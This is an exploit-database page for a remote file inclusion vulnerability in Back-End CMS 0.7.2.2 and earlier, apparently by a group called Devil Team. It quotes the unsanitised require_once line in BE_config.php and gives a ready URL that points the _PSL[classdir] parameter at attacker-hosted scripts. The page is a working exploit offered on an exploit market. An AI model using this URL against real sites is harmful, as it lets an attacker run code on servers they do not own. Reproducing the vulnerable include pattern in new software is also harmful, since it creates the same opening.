[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Back-End CMS <= 0.7.2.2 (BE_config.php) Remote Include Vulnerability

Author
Kacper
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-444
Category
web applications
Date add
24-05-2006
Platform
unsorted
====================================================================
Back-End CMS <= 0.7.2.2 (BE_config.php) Remote Include Vulnerability
====================================================================




################# DEVIL TEAM THE BEST POLISH TEAM ##################
#
#   Back-End CMS - Remote File Include Vulnerabilities
#   Find by Kacper (Rahim).
#   Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#   Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#   Site of script: http://www.back-end.org
#
####################################################################
*/

BE_config.php Line 27-31:

[code]
...
  // Script timer
  require_once($_PSL['classdir'] . '/BE_phpTimer.class');
  $scriptTimer = & pslSingleton('phpTimer');
  $scriptTimer->start('main');
  /* Use Example
...
[/code]


/*

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[Back-End_path]/BE_config.php?_PSL[classdir]=[evil_scripts]

#Elo ;-)



#  0day.today [2024-12-25]  #